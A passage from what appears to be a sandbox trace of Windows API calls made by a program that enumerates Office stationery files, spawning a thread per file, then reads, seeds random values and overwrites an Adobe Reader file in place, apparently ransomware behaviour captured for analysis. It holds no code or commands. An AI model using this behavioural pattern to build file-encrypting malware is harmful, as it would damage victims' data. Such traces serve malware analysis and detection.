Office\\Stationery\\1033\\JUNGLE.HTM" [0051.348] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x448310, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x928 [0051.350] FindNextFileW (in: hFindFile=0x40a2a8, lpFindFileData=0x488738 | out: lpFindFileData=0x488738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e3d4500, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e3d4500, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOTEBOOK.HTM", cAlternateFileName="")) returned 1 [0051.350] wcscmp (_String1="NOTEBOOK.HTM", _String2=".") returned 1 [0051.351] wcscmp (_String1="NOTEBOOK.HTM", _String2="..") returned 1 [0051.351] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x448398 [0051.351] wcscpy (in: _Dest=0x448398, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0051.351] wcscat (in: _Dest=0x448398, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0051.351] wcscat (in: _Dest=0x448398, _Source="NOTEBOOK.HTM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.HTM") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.HTM" [0051.351] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x448398, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa20 [0051.352] FindNextFileW (in: hFindFile=0x40a2a8, lpFindFileData=0x488738 | out: lpFindFileData=0x488738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ad22300, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ad22300, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0xb86, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOTEBOOK.JPG", cAlternateFileName="")) returned 1 [0051.352] wcscmp (_String1="NOTEBOOK.JPG", _String2=".") returned 1 [0051.352] wcscmp (_String1="NOTEBOOK.JPG", _String2="..") returned 1 [0051.352] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x448420 [0051.352] wcscpy (in: _Dest=0x448420, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0051.352] wcscat (in: _Dest=0x448420, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0051.352] wcscat (in: _Dest=0x448420, _Source="NOTEBOOK.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.JPG") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.JPG" [0051.352] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x448420, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d0 [0051.370] FindNextFileW (in: hFindFile=0x40a2a8, lpFindFileData=0x488738 | out: lpFindFileData=0x488738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ad22300, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ad22300, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x1202, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFISUPP.GIF", cAlternateFileName="")) returned 1 [0051.370] wcscmp (_String1="OFFISUPP.GIF", _String2=".") returned 1 [0051.370] wcscmp (_String1="OFFISUPP.GIF", _String2="..") returned 1 [0051.371] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x4484a8 [0051.371] wcscpy (in: _Dest=0x4484a8, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0051.371] wcscat (in: _Dest=0x4484a8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0051.371] wcscat (in: _Dest=0x4484a8, _Source="OFFISUPP.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.GIF") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.GIF" [0051.371] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4484a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x378 [0051.373] FindNextFileW (in: hFindFile=0x40a2a8, lpFindFileData=0x488738 | out: lpFindFileData=0x488738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa331b800, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa331b800, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFISUPP.HTM", cAlternateFileName="")) returned 1 [0051.373] wcscmp (_String1="OFFISUPP.HTM", _String2=".") returned 1 [0051.373] wcscmp (_String1="OFFISUPP.HTM", _String2="..") returned 1 [0051.373] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x96f8118 [0051.373] wcscpy (in: _Dest=0x96f8118, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0051.373] wcscat (in: _Dest=0x96f8118, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0051.373] wcscat (in: _Dest=0x96f8118, _Source="OFFISUPP.HTM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.HTM") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.HTM" [0051.373] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f8118, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9bc [0051.375] FindNextFileW (in: hFindFile=0x40a2a8, lpFindFileData=0x488738 | out: lpFindFileData=0x488738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfead0800, ftCreationTime.dwHighDateTime=0x1bdaedd, ftLastAccessTime.dwLowDateTime=0x14d5170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfead0800, ftLastWriteTime.dwHighDateTime=0x1bdaedd, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAWPRINT.GIF", cAlternateFileName="")) returned 1 [0051.375] wcscmp (_String1="PAWPRINT.GIF", _String2=".") returned 1 [0051.375] wcscmp (_String1="PAWPRINT.GIF", _String2="..") returned 1 [0051.375] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x96f81a0 [0051.375] wcscpy (in: _Dest=0x96f81a0, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0051.375] wcscat (in: _Dest=0x96f81a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0051.375] wcscat (in: _Dest=0x96f81a0, _Source="PAWPRINT.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.GIF") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.GIF" [0051.375] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f81a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x878 [0051.376] FindNextFileW (in: hFindFile=0x40a2a8, lpFindFileData=0x488738 | out: lpFindFileData=0x488738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc3a6900, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0x14d5170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc3a6900, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAWPRINT.HTM", cAlternateFileName="")) returned 1 [0051.376] wcscmp (_String1="PAWPRINT.HTM", _String2=".") returned 1 [0051.377] wcscmp (_String1="PAWPRINT.HTM", _String2="..") returned 1 [0051.377] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x96f8228 [0051.377] wcscpy (in: _Dest=0x96f8228, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0051.377] wcscat (in: _Dest=0x96f8228, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0051.377] wcscat (in: _Dest=0x96f8228, _Source="PAWPRINT.HTM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.HTM") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.HTM" [0051.377] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f8228, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x838 [0051.378] FindNextFileW (in: hFindFile=0x40a2a8, lpFindFileData=0x488738 | out: lpFindFileData=0x488738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9575800, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0x14d5170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9575800, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PINELUMB.HTM", cAlternateFileName="")) returned 1 [0051.378] wcscmp (_String1="PINELUMB.HTM", _String2=".") returned 1 [0051.378] wcscmp (_String1="PINELUMB.HTM", _String2="..") returned 1 [0051.378] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x96f82b0 [0051.378] wcscpy (in: _Dest=0x96f82b0, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0051.378] wcscat (in: _Dest=0x96f82b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0051.378] wcscat (in: _Dest=0x96f82b0, _Source="PINELUMB.HTM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.HTM") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.HTM" [0051.378] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f82b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ec [0051.380] FindNextFileW (in: hFindFile=0x40a2a8, lpFindFileData=0x488738 | out: lpFindFileData=0x488738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x371bc00, ftCreationTime.dwHighDateTime=0x1bdaede, ftLastAccessTime.dwLowDateTime=0x14d5170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x371bc00, ftLastWriteTime.dwHighDateTime=0x1bdaede, nFileSizeHigh=0x0, nFileSizeLow=0xf8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PINELUMB.JPG", cAlternateFileName="")) returned 1 [0051.380] wcscmp (_String1="PINELUMB.JPG", _String2=".") returned 1 [0051.380] wcscmp (_String1="PINELUMB.JPG", _String2="..") returned 1 [0051.380] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x96f8338 [0051.380] wcscpy (in: _Dest=0x96f8338, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0051.380] wcscat (in: _Dest=0x96f8338, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0051.380] wcscat (in: _Dest=0x96f8338, _Source="PINELUMB.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.JPG") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.JPG" [0051.380] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f8338, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x830 [0051.381] FindNextFileW (in: hFindFile=0x40a2a8, lpFindFileData=0x488738 | out: lpFindFileData=0x488738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2600900, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0x206fcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe2600900, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="SEAMARBL.HTM", cAlternateFileName="")) returned 1 [0051.381] wcscmp (_String1="SEAMARBL.HTM", _String2=".") returned 1 [0051.381] wcscmp (_String1="SEAMARBL.HTM", _String2="..") returned 1 [0051.381] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x96f83c0 [0051.381] wcscpy (in: _Dest=0x96f83c0, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0051.381] wcscat (in: _Dest=0x96f83c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0051.381] wcscat (in: _Dest=0x96f83c0, _Source="SEAMARBL.HTM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.HTM") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.HTM" [0051.381] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f83c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x82c [0051.382] FindNextFileW (in: hFindFile=0x40a2a8, lpFindFileData=0x488738 | out: lpFindFileData=0x488738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x206fcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x1889, dwReserved0=0x0, dwReserved1=0x0, cFileName="SEAMARBL.JPG", cAlternateFileName="")) returned 1 [0051.382] wcscmp (_String1="SEAMARBL.JPG", _String2=".") returned 1 [0051.383] wcscmp (_String1="SEAMARBL.JPG", _String2="..") returned 1 [0051.383] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x96f8448 [0051.383] wcscpy (in: _Dest=0x96f8448, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0051.383] wcscat (in: _Dest=0x96f8448, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0051.383] wcscat (in: _Dest=0x96f8448, _Source="SEAMARBL.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.JPG") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.JPG" [0051.383] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f8448, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e8 [0051.384] FindNextFileW (in: hFindFile=0x40a2a8, lpFindFileData=0x488738 | out: lpFindFileData=0x488738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a8d1900, ftCreationTime.dwHighDateTime=0x1c02f19, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a8d1900, ftLastWriteTime.dwHighDateTime=0x1c02f19, nFileSizeHigh=0x0, nFileSizeLow=0x81a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TECHTOOL.GIF", cAlternateFileName="")) returned 1 [0051.384] wcscmp (_String1="TECHTOOL.GIF", _String2=".") returned 1 [0051.384] wcscmp (_String1="TECHTOOL.GIF", _String2="..") returned 1 [0051.384] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x96f84d0 [0051.384] wcscpy (in: _Dest=0x96f84d0, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0051.384] wcscat (in: _Dest=0x96f84d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0051.385] wcscat (in: _Dest=0x96f84d0, _Source="TECHTOOL.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.GIF") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.GIF" [0051.385] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f84d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x568 [0051.386] FindNextFileW (in: hFindFile=0x40a2a8, lpFindFileData=0x488738 | out: lpFindFileData=0x488738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc99e700, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc99e700, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1da, dwReserved0=0x0, dwReserved1=0x0, cFileName="TECHTOOL.HTM", cAlternateFileName="")) returned 1 [0051.386] wcscmp (_String1="TECHTOOL.HTM", _String2=".") returned 1 [0051.386] wcscmp (_String1="TECHTOOL.HTM", _String2="..") returned 1 [0051.386] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x96f8558 [0051.386] wcscpy (in: _Dest=0x96f8558, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0051.386] wcscat (in: _Dest=0x96f8558, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0051.386] wcscat (in: _Dest=0x96f8558, _Source="TECHTOOL.HTM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.HTM") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.HTM" [0051.386] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f8558, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x678 [0051.387] FindNextFileW (in: hFindFile=0x40a2a8, lpFindFileData=0x488738 | out: lpFindFileData=0x488738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc99e700, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc99e700, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1da, dwReserved0=0x0, dwReserved1=0x0, cFileName="TECHTOOL.HTM", cAlternateFileName="")) returned 0 [0051.387] FindClose (in: hFindFile=0x40a2a8 | out: hFindFile=0x40a2a8) returned 1 [0051.388] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x488738) returned 1 [0051.389] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4219d8) returned 1 [0051.389] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4218f8) returned 1 Thread: id = 367 os_tid = 0xca0 [0048.655] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leesmij.htm")) returned 0x20 [0058.712] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm", dwFileAttributes=0x20) returned 1 [0058.720] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leesmij.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb08 [0058.720] GetFileSizeEx (in: hFile=0xb08, lpFileSize=0x30efcf0 | out: lpFileSize=0x30efcf0*=16867) returned 1 [0058.721] SetFilePointerEx (in: hFile=0xb08, liDistanceToMove=0x41df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.721] ReadFile (in: hFile=0xb08, lpBuffer=0x30efc74, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x30efc70, lpOverlapped=0x0 | out: lpBuffer=0x30efc74*, lpNumberOfBytesRead=0x30efc70*=0x4, lpOverlapped=0x0) returned 1 [0058.722] SetFilePointerEx (in: hFile=0xb08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.722] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9670 [0058.722] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9760 [0058.722] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e96c0 [0058.722] NtQuerySystemTime (in: CurrentTime=0x30efc50 | out: CurrentTime=0x30efc50*=132174898227108000) returned 0x0 [0058.722] RtlRandomEx (in: Seed=0x30efc5c | out: Seed=0x30efc5c) returned 0x7bc71cb2 [0058.722] RtlRandomEx (in: Seed=0x30efc5c | out: Seed=0x30efc5c) returned 0x46c84f2c [0058.722] RtlRandomEx (in: Seed=0x30efc5c | out: Seed=0x30efc5c) returned 0x1a90ffca [0058.722] RtlRandomEx (in: Seed=0x30efc5c | out: Seed=0x30efc5c) returned 0x53db7fff [0058.722] RtlRandomEx (in: Seed=0x30efc5c | out: Seed=0x30efc5c) returned 0x2fa8504b [0058.722] RtlRandomEx (in: Seed=0x30efc5c | out: Seed=0x30efc5c) returned 0x4e3bb513 [0058.722] RtlRandomEx (in: Seed=0x30efc5c | out: Seed=0x30efc5c) returned 0x1a114e13 [0058.722] RtlRandomEx (in: Seed=0x30efc5c | out: Seed=0x30efc5c) returned 0x80ff9b3 [0058.722] RtlRandomEx (in: Seed=0x30efc5c | out: Seed=0x30efc5c) returned 0x41421339 [0058.722] RtlRandomEx (in: Seed=0x30efc5c | out: Seed=0x30efc5c) returned 0x1c90da6 [0058.723] RtlRandomEx (in: Seed=0x30efc5c | out: Seed=0x30efc5c) returned 0x253db6e3 [0058.723] RtlRandomEx (in: Seed=0x30efc5c | out: Seed=0x30efc5c) returned 0x7cafc4ad [0058.723] RtlRandomEx (in: Seed=0x30efc5c | out: Seed=0x30efc5c) returned 0x1bdf737e [0058.723] RtlRandomEx (in: Seed=0x30efc5c | out: Seed=0x30efc5c) returned 0x3c5fe279 [0058.723] RtlRandomEx (in: Seed=0x30efc5c | out: Seed=0x30efc5c) returned 0x7112dcc9 [0058.723] RtlRandomEx (in: Seed=0x30efc5c | out: Seed=0x30efc5c) returned 0x3b95308b [0058.723] RtlRandomEx (in: Seed=0x30efc5c | out: Seed=0x30efc5c) returned 0x23382706 [0058.723] RtlRandomEx (in: Seed=0x30efc5c | out: Seed=0x30efc5c) returned 0x5fc146ec [0058.723] RtlRandomEx (in: Seed=0x30efc5c | out: Seed=0x30efc5c) returned 0x547f449e [0058.723] RtlRandomEx (in: Seed=0x30efc5c | out: Seed=0x30efc5c) returned 0x2d994ead [0058.723] RtlRandomEx (in: Seed=0x30efc5c | out: Seed=0x30efc5c) returned 0x457907d4 [0058.723] RtlRandomEx (in: Seed=0x30efc5c | out: Seed=0x30efc5c) returned 0x25c51290 [0058.723] RtlRandomEx (in: Seed=0x30efc5c | out: Seed=0x30efc5c) returned 0x4b88c9de [0058.723] RtlRandomEx (in: Seed=0x30efc5c | out: Seed=0x30efc5c) returned 0x28c6b117 [0058.723] RtlRandomEx (in: Seed=0x30efc5c | out: Seed=0x30efc5c) returned 0x5e34cec6 [0058.723] RtlRandomEx (in: Seed=0x30efc5c | out: Seed=0x30efc5c) returned 0x61a923c8 [0058.723] RtlRandomEx (in: Seed=0x30efc5c | out: Seed=0x30efc5c) returned 0x79996851 [0058.723] RtlRandomEx (in: Seed=0x30efc5c | out: Seed=0x30efc5c) returned 0x239524dc [0058.723] RtlRandomEx (in: Seed=0x30efc5c | out: Seed=0x30efc5c) returned 0x391f3bb [0058.723] RtlRandomEx (in: Seed=0x30efc5c | out: Seed=0x30efc5c) returned 0x1297c0c2 [0058.723] RtlRandomEx (in: Seed=0x30efc5c | out: Seed=0x30efc5c) returned 0x22f62ca0 [0058.723] RtlRandomEx (in: Seed=0x30efc5c | out: Seed=0x30efc5c) returned 0x3756d75f [0058.734] ReadFile (in: hFile=0xb08, lpBuffer=0x194e9058, nNumberOfBytesToRead=0x41e3, lpNumberOfBytesRead=0x30efc4c, lpOverlapped=0x0 | out: lpBuffer=0x194e9058*, lpNumberOfBytesRead=0x30efc4c*=0x41e3, lpOverlapped=0x0) returned 1 [0058.735] SetFilePointerEx (in: hFile=0xb08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.735] WriteFile (in: hFile=0xb08, lpBuffer=0x194f5860*, nNumberOfBytesToWrite=0x41e3, lpNumberOfBytesWritten=0x30efc48, lpOverlapped=0x0 | out: lpBuffer=0x194f5860*, lpNumberOfBytesWritten=0x30efc48*=0x41e3, lpOverlapped=0x0) returned 1 [0058.737] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9670 [0058.737] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e96c0 